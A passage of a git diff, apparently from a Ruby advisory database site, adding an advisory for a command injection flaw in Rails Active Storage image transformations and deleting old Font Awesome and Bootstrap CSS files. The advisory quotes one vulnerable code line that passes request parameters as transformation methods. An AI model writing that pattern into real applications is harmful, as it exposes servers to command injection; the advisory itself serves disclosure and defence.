+  url: https://github.com/rails/rails/security/advisories/GHSA-r4mg-4433-c7g3
+  title: Active Storage allowed transformation methods that were potentially unsafe
+  date: 2025-08-14
+  description: |
+    Active Storage attempts to prevent the use of potentially unsafe
+    image transformation methods and parameters by default.
+    The default allowed list contains three methods allowing for the
+    circumvention of the safe defaults which enables potential command
+    injection vulnerabilities in cases where arbitrary user supplied
+    input is accepted as valid transformation methods or parameters.
+
+    This has been assigned the CVE identifier CVE-2025-24293.
+
+    Versions Affected:  >= 5.2.0
+    Not affected:       < 5.2.0
+    Fixed Versions:     7.1.5.2, 7.2.2.2, 8.0.2.1
+
+    ## Impact
+
+    This vulnerability impacts applications that use Active Storage
+    with the image_processing processing gem in addition to
+    mini_magick as the image processor.
+
+    Vulnerable code will look something similar to this:
+
+    ```
+    <= image_tag blob.variant(params[:t] => params[:v]) >
+    ```
+
+    Where the transformation method or its arguments are untrusted
+    arbitrary input.
+
+    All users running an affected release should either upgrade or
+    use one of the workarounds immediately.
+
+    ## Releases
+
+    The fixed releases are available at the normal locations.
+
+    ## Workarounds
+
+    Consuming user supplied input for image transformation methods
+    or their parameters is unsupported behavior and should be
+    considered dangerous.
+
+    Strict validation of user supplied methods and parameters should
+    be performed as well as having a strong
+    [ImageMagick security policy](https://imagemagick.org/script/security-policy.php) deployed.
+
+    ## Credits
+
+    Thank you [lio346](https://hackerone.com/lio346) for reporting this!
+  unaffected_versions:
+  - "< 5.20"
+  patched_versions:
+  - "~> 7.1.5.2"
+  - "~> 7.2.2.2"
+  - ">= 8.0.2.1"
+  related:
+    url:
+    - https://github.com/rails/rails/security/advisories/GHSA-r4mg-4433-c7g3
+    - https://github.com/rails/rails/commit/1b1adf6ee6ca0f3104fcfce79360b2ec1e06a354
+    - https://github.com/rails/rails/commit/2d612735ac0d9712fdfffaf80afa627e7295f6ce
+    - https://github.com/rails/rails/commit/fb8f3a18c3d97524c0efc29150d1e5f3162fbb13
+    - https://github.com/advisories/GHSA-r4mg-4433-c7g3
+---
diff --git a/advisories/archives/index.html b/advisories/archives/index.html
index ee0f050f..366094f3 100644
--- a/advisories/archives/index.html
+++ b/advisories/archives/index.html
@@ -6,7 +6,8 @@
 
 <div id="blog-archives">
   <table>
-    {% for post in site.categories.advisories reverse %}
+    {% assign posts = site.categories.advisories | sort: 'date' | reverse %}
+    {% for post in posts %}
       <tr>
         <td class="year">
           {% capture this_year %}{{ post.date | date: "%Y" }}{% endcapture %}
diff --git a/apple-touch-icon.png b/apple-touch-icon.png
new file mode 100644
index 00000000..fe64e27c
Binary files /dev/null and b/apple-touch-icon.png differ
diff --git a/assets/bootstrap/css/custom.css b/assets/bootstrap/css/custom.css
index 4ff25f04..0905a17a 100644
--- a/assets/bootstrap/css/custom.css
+++ b/assets/bootstrap/css/custom.css
@@ -839,3 +839,7 @@ form.well {
 .tooltip-inner {
 	max-width: 500px;
 }
+
+.sharing {
+  font-size: 25px;
+}
diff --git a/assets/font-awesome/README.md b/assets/font-awesome/README.md
deleted file mode 100755
index a40d2d47..00000000
--- a/assets/font-awesome/README.md
+++ /dev/null
@@ -1,18 +0,0 @@
-#Font Awesome
-##the iconic font designed for use with Twitter Bootstrap
-
-The full suite of pictographic icons, examples, and documentation can be found at:
-http://fortawesome.github.com/Font-Awesome/
-
-##Contact
-- Email: dave@davegandy.com
-- Twitter: http://twitter.com/fortaweso_me
-- Work: http://lemonwi.se co-founder
-
-##License
-The Font Awesome webfont, CSS, and LESS files are licensed under CC BY 3.0:
-http://creativecommons.org/licenses/by/3.0/
-A mention of 'Font Awesome - http://fortawesome.github.com/Font-Awesome'
-in human-readable source code is considered acceptable attribution (most common on the
-web). If human readable source code is not available to the end user, a mention in an 'About' 
-or 'Credits' screen is considered acceptable (most common in desktop or mobile software).
diff --git a/assets/font-awesome/docs/assets/css/font-awesome.css b/assets/font-awesome/docs/assets/css/font-awesome.css
deleted file mode 100755
index 304e2d15..00000000
--- a/assets/font-awesome/docs/assets/css/font-awesome.css
+++ /dev/null
@@ -1,240 +0,0 @@
-/*  Font Awesome
-    the iconic font designed for use with Twitter Bootstrap
-    -------------------------------------------------------
-    The full suite of pictographic icons, examples, and documentation
-    can be found at: http://fortawesome.github.com/Font-Awesome/
-
-    License
-    -------------------------------------------------------
-    The Font Awesome webfont, CSS, and LESS files are licensed under CC BY 3.0:
-    http://creativecommons.org/licenses/by/3.0/ A mention of
-    'Font Awesome - http://fortawesome.github.com/Font-Awesome' in human-readable
-    source code is considered acceptable attribution (most common on the web).
-    If human readable source code is not available to the end user, a mention in
-    an 'About' or 'Credits' screen is considered acceptable (most common in desktop
-    or mobile software).
-
-    Contact
-    -------------------------------------------------------
-    Email: dave@davegandy.com
-    Twitter: http://twitter.com/fortaweso_me
-    Work: http://lemonwi.se co-founder
-
-    */
-@font-face {
-  font-family: 'FontAwesome';
-  src: url('../font/fontawesome-webfont.eot');
-  src: url('../font/fontawesome-webfont.eot?#iefix') format('embedded-opentype'), url('../font/fontawesome-webfont.woff') format('woff'), url('../font/fontawesome-webfont.ttf') format('truetype'), url('../font/fontawesome-webfont.svgz#FontAwesomeRegular') format('svg'), url('../font/fontawesome-webfont.svg#FontAwesomeRegular') format('svg');
-  font-weight: normal;
-  font-style: normal;
-}
-/* sprites.less reset */
-[class^="icon-"], [class*=" icon-"] {
-  display: inline;
-  width: auto;
-  height: auto;
-  line-height: inherit;
-  vertical-align: baseline;
-  background-image: none;
-  background-position: 0% 0%;
-  background-repeat: repeat;
-}
-li[class^="icon-"], li[class*=" icon-"] {
-  display: block;
-}
-/*  Font Awesome styles
-    ------------------------------------------------------- */
-[class^="icon-"]:before, [class*=" icon-"]:before {
-  font-family: FontAwesome;
-  font-weight: normal;
-  font-style: normal;
-  display: inline-block;
-  text-decoration: inherit;
-}
-a [class^="icon-"], a [class*=" icon-"] {
-  display: inline-block;
-  text-decoration: inherit;
-}
-/* makes the font 33% larger relative to the icon container */
-.icon-large:before {
-  vertical-align: top;
-  font-size: 1.3333333333333333em;
-}
-.btn [class^="icon-"], .btn [class*=" icon-"] {
-  /* keeps button heights with and without icons the same */
-
-  line-height: .9em;
-}
-li [class^="icon-"], li [class*=" icon-"] {
-  display: inline-block;
-  width: 1.25em;
-  text-align: center;
-}
-li .icon-large[class^="icon-"], li .icon-large[class*=" icon-"] {
-  /* 1.5 increased font size for icon-large * 1.25 width */
-
-  width: 1.875em;
-}
-li[class^="icon-"], li[class*=" icon-"] {
-  margin-left: 0;
-  list-style-type: none;
-}
-li[class^="icon-"]:before, li[class*=" icon-"]:before {
-  text-indent: -2em;
-  text-align: center;
-}
-li[class^="icon-"].icon-large:before, li[class*=" icon-"].icon-large:before {
-  text-indent: -1.3333333333333333em;
-}
-/*  Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
-    readers do not read off random characters that represent icons */
-.icon-glass:before              { content: "\f000"; }
-.icon-music:before              { content: "\f001"; }
-.icon-search:before             { content: "\f002"; }
-.icon-envelope:before           { content: "\f003"; }
-.icon-heart:before              { content: "\f004"; }
-.icon-star:before               { content: "\f005"; }
-.icon-star-empty:before         { content: "\f006"; }
-.icon-user:before               { content: "\f007"; }
-.icon-film:before               { content: "\f008"; }
-.icon-th-large:before           { content: "\f009"; }
-.icon-th:before                 { content: "\f00a"; }
-.icon-th-list:before            { content: "\f00b"; }
-.icon-ok:before                 { content: "\f00c"; }
-.icon-remove:before             { content: "\f00d"; }
-.icon-zoom-in:before            { content: "\f00e"; }
-
-.icon-zoom-out:before           { content: "\f010"; }
-.icon-off:before                { content: "\f011"; }
-.icon-signal:before             { content: "\f012"; }
-.icon-cog:before                { content: "\f013"; }
-.icon-trash:before              { content: "\f014"; }
-.icon-home:before               { content: "\f015"; }
-.icon-file:before               { content: "\f016"; }
-.icon-time:before               { content: "\f017"; }
-.icon-road:before               { content: "\f018"; }
-.icon-download-alt:before       { content: "\f019"; }
-.icon-download:before           { content: "\f01a"; }
-.icon-upload:before             { content: "\f01b"; }
-.icon-inbox:before              { content: "\f01c"; }
-.icon-play-circle:before        { content: "\f01d"; }
-.icon-repeat:before             { content: "\f01e"; }
-
-/* \f020 is not a valid unicode character. all shifted one down */
-.icon-refresh:before            { content: "\f021"; }
-.icon-list-alt:before           { content: "\f022"; }
-.icon-lock:before               { content: "\f023"; }
-.icon-flag:before               { content: "\f024"; }
-.icon-headphones:before         { content: "\f025"; }
-.icon-volume-off:before         { content: "\f026"; }
-.icon-volume-down:before        { content: "\f027"; }
-.icon-volume-up:before          { content: "\f028"; }
-.icon-qrcode:before             { content: "\f029"; }
-.icon-barcode:before            { content: "\f02a"; }
-.icon-tag:before                { content: "\f02b"; }
-.icon-tags:before               { content: "\f02c"; }
-.icon-book:before               { content: "\f02d"; }
-.icon-bookmark:before           { content: "\f02e"; }
-.icon-print:before              { content: "\f02f"; }
-
-.icon-camera:before             { content: "\f030"; }
-.icon-font:before               { content: "\f031"; }
-.icon-bold:before               { content: "\f032"; }
-.icon-italic:before             { content: "\f033"; }
-.icon-text-height:before        { content: "\f034"; }
-.icon-text-width:before         { content: "\f035"; }
-.icon-align-left:before         { content: "\f036"; }
-.icon-align-center:before       { content: "\f037"; }
-.icon-align-right:before        { content: "\f038"; }
-.icon-align-justify:before      { content: "\f039"; }
-.icon-list:before               { content: "\f03a"; }
-.icon-indent-left:before        { content: "\f03b"; }
-.icon-indent-right:before       { content: "\f03c"; }
-.icon-facetime-video:before     { content: "\f03d"; }
-.icon-picture:before            { content: "\f03e"; }
-
-.icon-pencil:before             { content: "\f040"; }
-.icon-map-marker:before         { content: "\f041"; }
-.icon-adjust:before             { content: "\f042"; }
-.icon-tint:before               { content: "\f043"; }
-.icon-edit:before               { content: "\f044"; }
-.icon-share:before              { content: "\f045"; }
-.icon-check:before              { content: "\f046"; }
-.icon-move:before               { content: "\f047"; }
-.icon-step-backward:before      { content: "\f048"; }
-.icon-fast-backward:before      { content: "\f049"; }
-.icon-backward:before           { content: "\f04a"; }
-.icon-play:before               { content: "\f04b"; }
-.icon-pause:before              { content: "\f04c"; }
-.icon-stop:before               { content: "\f04d"; }
-.icon-forward:before            { content: "\f04e"; }
-
-.icon-fast-forward:before       { content: "\f050"; }
-.icon-step-forward:before       { content: "\f051"; }
-.icon-eject:before              { content: "\f052"; }
-.icon-chevron-left:before       { content: "\f053"; }
-.icon-chevron-right:before      { content: "\f054"; }
-.icon-plus-sign:before          { content: "\f055"; }
-.icon-minus-sign:before         { content: "\f056"; }
-.icon-remove-sign:before        { content: "\f057"; }
-.icon-ok-sign:before            { content: "\f058"; }
-.icon-question-sign:before      { content: "\f059"; }
-.icon-info-sign:before          { content: "\f05a"; }
-.icon-screenshot:before         { content: "\f05b"; }
-.icon-remove-circle:before      { content: "\f05c"; }
-.icon-ok-circle:before          { content: "\f05d"; }
-.icon-ban-circle:before         { content: "\f05e"; }
-
-.icon-arrow-left:before         { content: "\f060"; }
-.icon-arrow-right:before        { content: "\f061"; }
-.icon-arrow-up:before           { content: "\f062"; }
-.icon-arrow-down:before         { content: "\f063"; }
-.icon-share-alt:before          { content: "\f064"; }
-.icon-resize-full:before        { content: "\f065"; }
-.icon-resize-small:before       { content: "\f066"; }
-.icon-plus:before               { content: "\f067"; }
-.icon-minus:before              { content: "\f068"; }
-.icon-asterisk:before           { content: "\f069"; }
-.icon-exclamation-sign:before   { content: "\f06a"; }
-.icon-gift:before               { content: "\f06b"; }
-.icon-leaf:before               { content: "\f06c"; }
-.icon-fire:before               { content: "\f06d"; }
-.icon-eye-open:before           { content: "\f06e"; }
-
-.icon-eye-close:before          { content: "\f070"; }
-.icon-warning-sign:before       { content: "\f071"; }
-.icon-plane:before              { content: "\f072"; }
-.icon-calendar:before           { content: "\f073"; }
-.icon-random:before             { content: "\f074"; }
-.icon-comment:before            { content: "\f075"; }
-.icon-magnet:before             { content: "\f076"; }
-.icon-chevron-up:before         { content: "\f077"; }
-.icon-chevron-down:before       { content: "\f078"; }
-.icon-retweet:before            { content: "\f079"; }
-.icon-shopping-cart:before      { content: "\f07a"; }
-.icon-folder-close:before       { content: "\f07b"; }
-.icon-folder-open:before        { content: "\f07c"; }
-.icon-resize-vertical:before    { content: "\f07d"; }
-.icon-resize-horizontal:before  { content: "\f07e"; }
-
-.icon-bar-chart:before          { content: "\f080"; }
-.icon-twitter-sign:before       { content: "\f081"; }
-.icon-facebook-sign:before      { content: "\f082"; }
-.icon-camera-retro:before       { content: "\f083"; }
-.icon-key:before                { content: "\f084"; }
-.icon-cogs:before               { content: "\f085"; }
-.icon-comments:before           { content: "\f086"; }
-.icon-thumbs-up:before          { content: "\f087"; }
-.icon-thumbs-down:before        { content: "\f088"; }
-.icon-star-half:before          { content: "\f089"; }
-.icon-heart-empty:before        { content: "\f08a"; }
-.icon-signout:before            { content: "\f08b"; }
-.icon-linkedin-sign:before      { content: "\f08c"; }
-.icon-pushpin:before            { content: "\f08d"; }
-.icon-external-link:before      { content: "\f08e"; }
-
-.icon-signin:before             { content: "\f090"; }
-.icon-trophy:before             { content: "\f091"; }
-.icon-github-sign:before        { content: "\f092"; }
-.icon-upload-alt:before         { content: "\f093"; }
-.icon-lemon:before              { content: "\f094"; }
diff --git a/assets/font-awesome/docs/assets/css/prettify.css b/assets/font-awesome/docs/assets/css/prettify.css
deleted file mode 100755
index aedd8d1a..00000000
--- a/assets/font-awesome/docs/assets/css/prettify.css
+++ /dev/null
@@ -1,30 +0,0 @@
-.com { color: #93a1a1; }
-.lit { color: #195f91; }
-.pun, .opn, .clo { color: #93a1a1; }
-.fun { color: #dc322f; }
-.str, .atv { color: #D14; }
-.kwd, .linenums .tag { color: #1e347b; }
-.typ, .atn, .dec, .var { color: teal; }
-.pln { color: #48484c; }
-
-.prettyprint {
-  padding: 8px;
-  background-color: #f7f7f9;
-  border: 1px solid #e1e1e8;
-}
-.prettyprint.linenums {
-  -webkit-box-shadow: inset 40px 0 0 #fbfbfc, inset 41px 0 0 #ececf0;
-     -moz-box-shadow: inset 40px 0 0 #fbfbfc, inset 41px 0 0 #ececf0;
-          box-shadow: inset 40px 0 0 #fbfbfc, inset 41px 0 0 #ececf0;
-}
-
-/* Specify class=linenums on a pre to get line numbering */
-ol.linenums {
-  margin: 0 0 0 33px; /* IE indents via margin-left */
-} 
-ol.linenums li {
-  padding-left: 12px;
-  color: #bebec5;
-  line-height: 18px;
-  text-shadow: 0 1px 0 #fff;
-}
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/css/site.css b/assets/font-awesome/docs/assets/css/site.css
deleted file mode 100755
index ce9caed1..00000000
--- a/assets/font-awesome/docs/assets/css/site.css
+++ /dev/null
@@ -1,9 +0,0 @@
-/*!
- * Bootstrap v2.0.1
- *
- * Copyright 2012 Twitter, Inc
- * Licensed under the Apache License v2.0
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Designed and built with all the love in the world @twitter by @mdo and @fat.
- */article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio,canvas,video{display:inline-block;*display:inline;*zoom:1}audio:not([controls]){display:none}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{max-width:100%;height:auto;border:0;-ms-interpolation-mode:bicubic}button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle}button,input{*overflow:visible;line-height:normal}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button}input[type="search"]{-webkit-appearance:textfield;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}textarea{overflow:auto;vertical-align:top}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:""}.clearfix:after{clear:both}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:21px;color:#333;background-color:#fff}a{color:#9d261d;text-decoration:none}a:hover{color:#5c1611;text-decoration:underline}.row{margin-left:-20px;*zoom:1;*zoom:1}.row:before,.row:after{display:table;content:""}.row:after{clear:both}.row:before,.row:after{display:table;content:""}.row:after{clear:both}[class*="span"]{float:left;margin-left:20px;float:left;margin-left:20px}.span1{width:60px;width:60px}.span2{width:140px;width:140px}.span3{width:220px;width:220px}.span4{width:300px;width:300px}.span5{width:380px;width:380px}.span6{width:460px;width:460px}.span7{width:540px;width:540px}.span8{width:620px;width:620px}.span9{width:700px;width:700px}.span10{width:780px;width:780px}.span11{width:860px;width:860px}.span12,.container{width:940px;width:940px}.offset1{margin-left:100px;margin-left:100px}.offset2{margin-left:180px;margin-left:180px}.offset3{margin-left:260px;margin-left:260px}.offset4{margin-left:340px;margin-left:340px}.offset5{margin-left:420px;margin-left:420px}.offset6{margin-left:500px;margin-left:500px}.offset7{margin-left:580px;margin-left:580px}.offset8{margin-left:660px;margin-left:660px}.offset9{margin-left:740px;margin-left:740px}.offset10{margin-left:820px;margin-left:820px}.offset11{margin-left:900px;margin-left:900px}.row{margin-left:-20px;*zoom:1;*zoom:1}.row:before,.row:after{display:table;content:""}.row:after{clear:both}.row:before,.row:after{display:table;content:""}.row:after{clear:both}[class*="span"]{float:left;margin-left:20px;float:left;margin-left:20px}.span1{width:60px;width:60px}.span2{width:140px;width:140px}.span3{width:220px;width:220px}.span4{width:300px;width:300px}.span5{width:380px;width:380px}.span6{width:460px;width:460px}.span7{width:540px;width:540px}.span8{width:620px;width:620px}.span9{width:700px;width:700px}.span10{width:780px;width:780px}.span11{width:860px;width:860px}.span12,.container{width:940px;width:940px}.offset1{margin-left:100px;margin-left:100px}.offset2{margin-left:180px;margin-left:180px}.offset3{margin-left:260px;margin-left:260px}.offset4{margin-left:340px;margin-left:340px}.offset5{margin-left:420px;margin-left:420px}.offset6{margin-left:500px;margin-left:500px}.offset7{margin-left:580px;margin-left:580px}.offset8{margin-left:660px;margin-left:660px}.offset9{margin-left:740px;margin-left:740px}.offset10{margin-left:820px;margin-left:820px}.offset11{margin-left:900px;margin-left:900px}.row-fluid{width:100%;*zoom:1;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;content:""}.row-fluid:after{clear:both}.row-fluid:before,.row-fluid:after{display:table;content:""}.row-fluid:after{clear:both}.row-fluid>[class*="span"]{float:left;margin-left:2.127659574%;float:left;margin-left:2.127659574%}.row-fluid>[class*="span"]:first-child{margin-left:0}.row-fluid>.span1{width:6.382978723%;width:6.382978723%}.row-fluid>.span2{width:14.89361702%;width:14.89361702%}.row-fluid>.span3{width:23.404255317%;width:23.404255317%}.row-fluid>.span4{width:31.914893614%;width:31.914893614%}.row-fluid>.span5{width:40.425531911%;width:40.425531911%}.row-fluid>.span6{width:48.93617020799999%;width:48.93617020799999%}.row-fluid>.span7{width:57.446808505%;width:57.446808505%}.row-fluid>.span8{width:65.95744680199999%;width:65.95744680199999%}.row-fluid>.span9{width:74.468085099%;width:74.468085099%}.row-fluid>.span10{width:82.97872339599999%;width:82.97872339599999%}.row-fluid>.span11{width:91.489361693%;width:91.489361693%}.row-fluid>.span12{width:99.99999998999999%;width:99.99999998999999%}.row-fluid{width:100%;*zoom:1;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;content:""}.row-fluid:after{clear:both}.row-fluid:before,.row-fluid:after{display:table;content:""}.row-fluid:after{clear:both}.row-fluid>[class*="span"]{float:left;margin-left:2.127659574%;float:left;margin-left:2.127659574%}.row-fluid>[class*="span"]:first-child{margin-left:0}.row-fluid>.span1{width:6.382978723%;width:6.382978723%}.row-fluid>.span2{width:14.89361702%;width:14.89361702%}.row-fluid>.span3{width:23.404255317%;width:23.404255317%}.row-fluid>.span4{width:31.914893614%;width:31.914893614%}.row-fluid>.span5{width:40.425531911%;width:40.425531911%}.row-fluid>.span6{width:48.93617020799999%;width:48.93617020799999%}.row-fluid>.span7{width:57.446808505%;width:57.446808505%}.row-fluid>.span8{width:65.95744680199999%;width:65.95744680199999%}.row-fluid>.span9{width:74.468085099%;width:74.468085099%}.row-fluid>.span10{width:82.97872339599999%;width:82.97872339599999%}.row-fluid>.span11{width:91.489361693%;width:91.489361693%}.row-fluid>.span12{width:99.99999998999999%;width:99.99999998999999%}.container{width:940px;margin-left:auto;margin-right:auto;*zoom:1;*zoom:1;width:940px;margin-left:auto;margin-right:auto;*zoom:1;*zoom:1}.container:before,.container:after{display:table;content:""}.container:after{clear:both}.container:before,.container:after{display:table;content:""}.container:after{clear:both}.container:before,.container:after{display:table;content:""}.container:after{clear:both}.container:before,.container:after{display:table;content:""}.container:after{clear:both}.container-fluid{padding-left:20px;padding-right:20px;*zoom:1;*zoom:1}.container-fluid:before,.container-fluid:after{display:table;content:""}.container-fluid:after{clear:both}.container-fluid:before,.container-fluid:after{display:table;content:""}.container-fluid:after{clear:both}p{margin:0 0 10.5px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:21px}p small{font-size:12px;color:#999}.lead{margin-bottom:21px;font-size:20px;font-weight:200;line-height:31.5px}h1,h2,h3,h4,h5,h6{margin:0;font-weight:bold;color:#333;text-rendering:optimizelegibility}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-weight:normal;color:#999}h1{font-size:30px;line-height:42px}h1 small{font-size:18px}h2{font-size:24px;line-height:42px}h2 small{font-size:18px}h3{line-height:31.5px;font-size:18px}h3 small{font-size:14px}h4,h5,h6{line-height:21px}h4{font-size:14px}h4 small{font-size:12px}h5{font-size:12px}h6{font-size:11px;color:#999;text-transform:uppercase}.page-header{padding-bottom:20px;margin:21px 0;border-bottom:1px solid #eee}.page-header h1{line-height:1}ul,ol{padding:0;margin:0 0 10.5px 25px}ul ul,ul ol,ol ol,ol ul{margin-bottom:0}ul{list-style:disc}ol{list-style:decimal}li{line-height:21px}ul.unstyled,ol.unstyled{margin-left:0;list-style:none}dl{margin-bottom:21px}dt,dd{line-height:21px}dt{font-weight:bold}dd{margin-left:10.5px}hr{margin:21px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}strong{font-weight:bold}em{font-style:italic}.muted{color:#999}abbr{font-size:90%;text-transform:uppercase;border-bottom:1px dotted #ddd;cursor:help}blockquote{padding:0 0 0 15px;margin:0 0 21px;border-left:5px solid #eee}blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:26.25px;font-size:16px;font-weight:300;line-height:26.25px}blockquote small{display:block;line-height:21px;color:#999}blockquote small:before{content:'\2014 \00A0'}blockquote.pull-right{float:right;padding-left:0;padding-right:15px;border-left:0;border-right:5px solid #eee}blockquote.pull-right p,blockquote.pull-right small{text-align:right}q:before,q:after,blockquote:before,blockquote:after{content:""}address{display:block;margin-bottom:21px;line-height:21px;font-style:normal}small{font-size:100%}cite{font-style:normal}code,pre{padding:0 3px 2px;font-family:Menlo,Monaco,"Courier New",monospace;font-family:Menlo,Monaco,"Courier New",monospace;font-size:13px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}code{padding:3px 4px;color:#d14;background-color:#f7f7f9;border:1px solid #e1e1e8}pre{display:block;padding:10px;margin:0 0 10.5px;font-size:12px;line-height:21px;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;white-space:pre;white-space:pre-wrap;word-break:break-all;word-wrap:break-word}pre.prettyprint{margin-bottom:21px}pre code{padding:0;color:inherit;background-color:transparent;border:0}.pre-scrollable{max-height:340px;overflow-y:scroll}form{margin:0 0 21px}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:31.5px;font-size:21px;line-height:42px;color:#333;border:0;border-bottom:1px solid #eee}legend small{font-size:15.75px;color:#999}label,input,button,select,textarea{font-size:14px;font-weight:normal;line-height:21px;font-size:14px;font-weight:normal;line-height:21px}input,button,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}label{display:block;margin-bottom:5px;color:#333}input,textarea,select,.uneditable-input{display:inline-block;width:210px;height:21px;padding:4px;margin-bottom:9px;font-size:14px;line-height:21px;color:#555;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.uneditable-textarea{width:auto;height:auto}label input,label textarea,label select{display:block}input[type="image"],input[type="checkbox"],input[type="radio"]{width:auto;height:auto;padding:0;margin:3px 0;*margin-top:0;line-height:normal;cursor:pointer;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;border:0 \9}input[type="image"]{border:0}input[type="file"]{width:auto;padding:initial;line-height:initial;border:initial;background-color:#fff;background-color:initial;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}input[type="button"],input[type="reset"],input[type="submit"]{width:auto;height:auto}select,input[type="file"]{height:28px;*margin-top:4px;line-height:28px}input[type="file"]{line-height:18px \9}select{width:220px;background-color:#fff}select[multiple],select[size]{height:auto}input[type="image"]{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}textarea{height:auto}input[type="hidden"]{display:none}.radio,.checkbox{padding-left:18px}.radio input[type="radio"],.checkbox input[type="checkbox"]{float:left;margin-left:-18px}.controls>.radio:first-child,.controls>.checkbox:first-child{padding-top:5px}.radio.inline,.checkbox.inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle}.radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline{margin-left:10px}input,textarea{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-ms-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s;-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-ms-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}input:focus,textarea:focus{border-color:rgba(82,168,236,0.8);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);outline:0;outline:thin dotted \9}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus,select:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.input-mini{width:60px}.input-small{width:90px}.input-medium{width:150px}.input-large{width:210px}.input-xlarge{width:270px}.input-xxlarge{width:530px}input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input{float:none;margin-left:0}input.span1,textarea.span1,.uneditable-input.span1{width:50px;width:50px}input.span2,textarea.span2,.uneditable-input.span2{width:130px;width:130px}input.span3,textarea.span3,.uneditable-input.span3{width:210px;width:210px}input.span4,textarea.span4,.uneditable-input.span4{width:290px;width:290px}input.span5,textarea.span5,.uneditable-input.span5{width:370px;width:370px}input.span6,textarea.span6,.uneditable-input.span6{width:450px;width:450px}input.span7,textarea.span7,.uneditable-input.span7{width:530px;width:530px}input.span8,textarea.span8,.uneditable-input.span8{width:610px;width:610px}input.span9,textarea.span9,.uneditable-input.span9{width:690px;width:690px}input.span10,textarea.span10,.uneditable-input.span10{width:770px;width:770px}input.span11,textarea.span11,.uneditable-input.span11{width:850px;width:850px}input.span12,textarea.span12,.uneditable-input.span12{width:930px;width:930px}input.span1,textarea.span1,.uneditable-input.span1{width:50px;width:50px}input.span2,textarea.span2,.uneditable-input.span2{width:130px;width:130px}input.span3,textarea.span3,.uneditable-input.span3{width:210px;width:210px}input.span4,textarea.span4,.uneditable-input.span4{width:290px;width:290px}input.span5,textarea.span5,.uneditable-input.span5{width:370px;width:370px}input.span6,textarea.span6,.uneditable-input.span6{width:450px;width:450px}input.span7,textarea.span7,.uneditable-input.span7{width:530px;width:530px}input.span8,textarea.span8,.uneditable-input.span8{width:610px;width:610px}input.span9,textarea.span9,.uneditable-input.span9{width:690px;width:690px}input.span10,textarea.s